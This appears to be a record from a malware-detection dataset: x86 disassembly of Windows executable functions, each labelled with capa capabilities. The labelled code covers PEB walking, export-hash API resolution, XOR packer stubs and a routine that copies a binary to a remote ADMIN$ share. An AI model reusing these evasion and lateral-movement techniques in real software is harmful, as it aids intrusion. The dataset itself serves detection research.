joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10050480
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x10050756
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x737c37f3
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x737ba7b9
push 0xffffffffffffffff
call fcn.10047680
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x100504ea
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.10050502
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x1005074a
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x1005071e
Function at 0x1005ff50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1005ff72
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1005ff72
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1005ff72
ret
cmp word [ebx + 4], 0x14c
jne 0x1005ff72
test word [ebx + 0x16], 2
je 0x1005ff72
test word [ebx + 0x16], 0x100
je 0x1005ff72
cmp word [ebx + 0x18], 0x10b
jne 0x1005ff72
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1005ff72
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1005fffe
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1005ff92
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10046edd
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1005ff72
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x1005fffe
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x1005ff72
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x1005ff72
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x1005ff72
ret
cmp word [ebx + 4], 0x14c
jne 0x1005ff72
test word [ebx + 0x16], 2
je 0x1005ff72
test word [ebx + 0x16], 0x100
je 0x1005ff72
cmp word [ebx + 0x18], 0x10b
jne 0x1005ff72
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x1005ff72
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x1005fffe
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x1005ff92
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.10046edd
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x1005ff72
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x100600b5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1006010e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100600b5
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100600c4
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10465d67
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10060115
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10046f8b
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100601b4
add edi, 4
add eax, 2
dec ecx
jne 0x100600fa
call 0x10060161
loope 0x10060157
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100601b1
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100601c2
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10060175
cmp eax, ecx
ja 0x10060175
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100601ff
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100601f5
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1004746a
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x100600c4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x1006010e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x100600b5
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x100600c4
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x10465d67
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10060115
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.10046f8b
cmp eax, dword [ebp + 0xc]
pop eax
je 0x100601b4
add edi, 4
add eax, 2
dec ecx
jne 0x100600fa
call 0x10060161
loope 0x10060157
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x100601b1
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x100601c2
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10060175
cmp eax, ecx
ja 0x10060175
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100601ff
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100601f5
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1004746a
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x41a89a
Capabilities:
Encode data using xor

Disassembly:
sbb al, 0x1a
mov ah, al
shr bl, 1
stosd dword es:[edi], eax
and byte [edi + 0x6e00b76e], bl
aad 0x6e
outsb dx, byte [esi]
sub dl, dl
and dword [edx], edi
mov dh, 0x66
pop esi
pop si
xor dword es:[ecx], ecx
xor dword [ecx], ecx
mov dword [eax], esp
xchg ecx, eax
jecxz 0x41a91e
shr dword [ebx - 0x4e73bd2], 0x3d
mov dh, 0x26
loope 0x41a8b1
les ebx, cs:[eax]
sti
cmp eax, 0xeee126b6
lea edi, [edx - 0x44407f96]
sal byte [ebx + 0x5b], cl
adc al, 0xba
or ebx, ebx
jle 0x41a8a8
js 0x41a8e2
fbstp tbyte [eax + eax - 0x52]
dec eax
inc ebp
sbb dl, dh
je 0x41a8ae
and al, dh
jae 0x41a91e
cmp eax, edx
pop ss
push edx
or eax, 0x6ae04a7
and eax, 0x6788a9c5
outsb dx, byte [esi]
adc al, 0x58
call 0xf2168673
jge 0x41a8b8
ret 0x17f3
invalid
ljmp 0xd3ec:0x5511274b
jge 0x41a97b
push ss
adc ecx, dword [edi]
fild qword [ebp + 0x1109cdaf]
mov ds, eax
xchg esp, eax
dec ebp
test ecx, 0x61b72591
sub byte [ebp + 0x94f720], 0x52
lcall 0xb821, 0xc823190d
dec edx
invalid
not dword [eax + eax + 0x190d9a52]
and ecx, eax
and dword [eax - 0x6aa670b6], edi
push edi
inc edi
out 0xeb, al
jge 0x41a8ba
xor al, 0x72
inc esi
mov byte [0x32f4832f], al
xor esp, 0x32
xchg ah, bl
ror dword [esi], 0x12
dec edi
lahf
push esi
in eax, 0x6a
jecxz 0x41a9a9
mov al, 0xfe
cld
insd dword es:[edi], dx
and al, 0x57
ja 0x41a906
mov bh, 0xf2
add esi, esp
das
or byte [ebx + ebp + 0x2d], al
mov bl, 0x6d
out dx, eax
jo 0x41a938
jecxz 0x41a97e
mov dh, 0x80
aas
xchg esp, eax
jne 0x41a8fc
xchg edi, eax
cwde
xor al, 7
cmp ebp, dword [edi + edx*4 - 0x57b6b019]
dec ebx
xlatb
nop
pop esi
inc ebp
insd dword es:[edi], dx
rol byte [edi], cl
cmp al, 0xf9
shl byte [eax + ebx + 0x6a62982c], 0x48
sbb byte [eax + ebx*4], ch
bound ebp, qword [edx + 0x48]
sub al, ch
std
std
ljmp 0xb5af
and ah, byte [ebx + edi + 0x27e335e7]
add al, 0xb5
arpl dx, sp
dec ebp
xchg ah, dl
sbb dword ds:[edi - 0x20682b07], 0x3cc8705
rcr dword [ecx], 0x2f
loop 0x41a964
mov eax, 0x4756c7d6
pop esp
movsd dword es:[edi], dword [esi]
dec esp
adc dword [ecx + ebx*2], ebx
and byte [eax - 0x13425f20], bl
xchg esi, eax
mov cl, 0xef
invalid

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040b1c2
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040b1c2
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040b1c2
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040b1c2
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040b1c2
mov dword [0x41203c], eax
call fcn.0040b1c2
test eax, eax
jge 0x402550
push 8
call fcn.0040b1c2
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040b1c2
pop ecx
push 1
call fcn.0040b1c2
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040b1c2
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040b1c2
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040b1c2
jmp 0x402495

Function at 0x40b1c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40b1d1
pop dword [ebp - 0x24]
mov eax, 0x40b1d1
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3659f
push 0
mov eax, 0xf1f115ab
sub eax, 0xf1b034d3
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0xa4237cfe
add ecx, 0x5bdcbf25
xor edx, edx
add edx, eax
mov ebx, 0x413bc4
add ebx, dword [ebp - 0x24]
mov esi, 0xb36b0b2d
sub esi, 0x876eee7a
xor dword [ebp - 8], 0x61b56e2a
mov edi, dword [ebx]
mov dword [ebp - 0x20], 0x7ad91634
add edi, esi
add dword [ebp - 0xc], ecx
mov dword [edx], edi
sub dword [ebp - 0xc], esi
add edx, 0x5ef8533a
add edx, 0xa107acca
add ebx, 0x81728ee9
add ebx, 0x7e8d711b
loop 0x40b227
add eax, 0x207272ad
add eax, 0xdf8e70b2
xor ebx, ebx
add ebx, eax
add eax, 0xf55f820f
sub eax, 0xf55f820a
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x5ce8273b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x10ec60a0
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401116
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x43205c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
push 0x429320
push esi
mov dword [ebp - 0x210], edi
mov dword [ebp - 0x214], esi
call fcn.00405cf5
test eax, eax
pop ecx
pop ecx
mov dword [edi], eax
jne 0x401279
push ebx
push eax
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
call fcn.00405be5
add esp, 0x14
lea eax, [ebp - 0xc]
push 2
lea edx, [eax + 2]
pop ebx
mov cx, word [eax]
add eax, ebx
test cx, cx
jne 0x401173
sub eax, edx
sar eax, 1
mov ecx, eax
lea eax, [ebp - 0x20c]
lea edx, [eax + 2]
mov si, word [eax]
add eax, ebx
test si, si
jne 0x40118c
sub eax, edx
sar eax, 1
lea eax, [eax + ecx + 1]
xor ecx, ecx
mov edx, ebx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00405952
mov edi, eax
lea eax, [ebp - 0xc]
pop ecx
mov edx, edi
mov ecx, eax
mov dword [ebp - 0x218], edi
sub edx, ecx
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, ebx
test cx, cx
jne 0x4011c3
lea eax, [ebp - 0x20c]
mov edx, eax
mov cx, word [eax]
add eax, ebx
test cx, cx
jne 0x4011d9
sub eax, edx
dec edi
dec edi
mov cx, word [edi + 2]
add edi, ebx
test cx, cx
jne 0x4011e7
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x218]
mov ecx, 0x42931c
mov eax, esi
pop ebx
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401236
test dx, dx
je 0x401232
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401236
add eax, 4
add ecx, 4
test dx, dx
jne 0x401210
xor eax, eax
jmp 0x40123b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401254
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401254
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x429320
push dword [ebp - 0x214]
call fcn.00405cf5
test esi, esi
pop ecx
pop ecx
mov ecx, dword [ebp - 0x210]
mov dword [ecx], eax
je 0x401279
push esi
call fcn.004058ef
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405d58
leave
ret 4
Function at 0x4013e1
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
lea eax, [ebp - 8]
push eax
xor ebx, ebx
push 8
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40140b
call fcn.004012a7
mov edi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 2
push dword [ebp - 8]
mov dword [ebp - 4], ebx
call edi
push dword [ebp - 4]
call fcn.004055f9
mov esi, eax
cmp esi, ebx
pop ecx
jne 0x401435
call fcn.004012a7
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push 2
push dword [ebp - 8]
call edi
test eax, eax
jne 0x40144d
call fcn.004012a7
call fcn.0040132b
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
lea ebx, [esi + eax*8 + 4]
lea edi, [esi + 4]
jmp 0x401472
push dword [ebp - 0xc]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x401476
add edi, 8
cmp ebx, edi
jne 0x401460
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
push esi
call fcn.00404f6b
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp ebx, edi
pop edi
pop esi
setne al
pop ebx
leave
ret
Function at 0x401a8f
Capabilities:
Connect network resource

Disassembly:
push ebp
lea ebp, [esp - 0x1ac]
sub esp, 0x22c
mov eax, dword [0x43205c]
xor eax, ebp
mov dword [ebp + 0x1a8], eax
push ebx
mov ebx, dword [ebp + 0x1b8]
push esi
push edi
mov edi, dword [ebp + 0x1b4]
push str.EstablishConnection_Starts_n
mov esi, 0x429310
push esi
push dword [0x4331fc]
call fcn.004010f4
push ebx
push edi
lea eax, [ebp - 0x60]
push str._s_s
push eax
call fcn.00406585
lea eax, [ebp - 0x60]
push eax
push str.Remote_Resource_Name_to_establish_connection_is__ws_n
push esi
push dword [0x4331fc]
call fcn.004010f4
xor ebx, ebx
add esp, 0x2c
cmp dword [ebp + 0x1bc], ebx
je 0x401c17
push ebx
push dword [0x435f24]
lea eax, [ebp - 0x60]
push dword [0x435f20]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x64], ebx
call sub.MPR.dll_WNetAddConnection2W
mov edi, eax
push edi
mov ebx, str.WNetAddConnection2_Connect__returned_::__d_n
push ebx
push esi
push dword [0x4331fc]
call fcn.004010f4
mov eax, edi
add esp, 0x10
sub eax, 5
je 0x401b5e
sub eax, 0x51
je 0x401b5e
sub eax, 0x46d
je 0x401b5e
sub eax, 0x6b
jne 0x401bf8
cmp dword [0x435f24], 0
je 0x401bf8
cmp dword [0x435f20], 0
jne 0x401bf8
push str.Invalid_password_n_n
mov edi, 0x429378
push edi
call fcn.00405dc6
add eax, 0x20
push eax
call fcn.004051d3
call fcn.00405dc6
add eax, 0x20
push eax
call fcn.00405177
push 1
call fcn.00401a20
add esp, 0x14
push str.Connecting_to_remote_service_...
push edi
call fcn.00405dc6
add eax, 0x20
push eax
call fcn.004051d3
call fcn.00405dc6
add eax, 0x20
push eax
call fcn.00405177
add esp, 0x10
push 0
push dword [0x435f24]
lea eax, [ebp - 0x80]
push dword [0x435f20]
push eax
call sub.MPR.dll_WNetAddConnection2W
mov edi, eax
push edi
push ebx
push esi
push dword [0x4331fc]
call fcn.004010f4
add esp, 0x10
xor ebx, ebx
push str.EstablishConnection_Ends_n
push esi
push dword [0x4331fc]
call fcn.004010f4
add esp, 0xc
cmp edi, ebx
jne 0x401c6e
xor eax, eax
inc eax
jmp 0x401c77
push str.Disconnect_RemoteResource_n
push esi
push dword [0x4331fc]
call fcn.004010f4
add esp, 0xc
push ebx
push ebx
lea eax, [ebp - 0x60]
push eax
call sub.MPR.dll_WNetCancelConnection2W
mov edi, eax
push edi
push str.WNetCancelConnection2_Disconnect__returned_::__d_n
push esi
push dword [0x4331fc]
call fcn.004010f4
add esp, 0x10
cmp edi, ebx
je 0x401bfa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Error_Code_::__d_n
push esi
push dword [0x4331fc]
call fcn.004010f4
add esp, 0x10
jmp 0x401bfa
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp + 0x1a8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405d58
add ebp, 0x1ac
leave
ret
Function at 0x401c8f
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x43205c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.CopyBinaryToRemoteSystem_Starts_n
mov esi, 0x429310
push esi
push dword [0x4331fc]
call fcn.004010f4
push 0x429a50
call fcn.00401642
add esp, 0x10
test eax, eax
jne 0x401cd0
inc eax
jmp 0x401d9f
push edi
lea eax, [ebp - 0x614]
push eax
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [0x435f2c]
call fcn.00405be5
push dword [0x435f2c]
push str.File_To_be_copied_:__ws_n
push esi
push dword [0x4331fc]
call fcn.004010f4
lea eax, [ebp - 0x614]
push eax
lea eax, [ebp - 0x414]
push eax
push dword [0x435f30]
lea eax, [ebp - 0x214]
push dword [0x433604]
push str._sADMIN__s_s_s
push eax
call fcn.00406585
lea eax, [ebp - 0x214]
push eax
push str.Remote_Location_to_copy_file_:__ws_n
push esi
push dword [0x4331fc]
call fcn.004010f4
add esp, 0x4c
push 0
lea eax, [ebp - 0x214]
push eax
push dword [0x435f2c]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edi, eax
test edi, edi
jne 0x401d88
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CopyFile_Failed::Error_code_:__d_n
push esi
push dword [0x4331fc]
call fcn.004010f4
add esp, 0x10
push str.CopyBinaryToRemoteSystem_Ends_n
push esi
push dword [0x4331fc]
call fcn.004010f4
add esp, 0xc
mov eax, edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00405d58
leave
ret

Function at 0x401dac
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.ProcComs
mov esi, eax
push 0x66
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, edi
mov dword [ebp - 8], eax
jne 0x401dec
xor eax, eax
jmp 0x401e57
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, 0x435d18
push esi
push 0x104
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push str.ProcComs.bin
push esi
push str._s_s
push esi
call fcn.00406585
add esp, 0x10
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x401de8
push edi
lea eax, [ebp - 4]
push eax
push ebx
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
pop edi
pop esi
pop ebx
leave
ret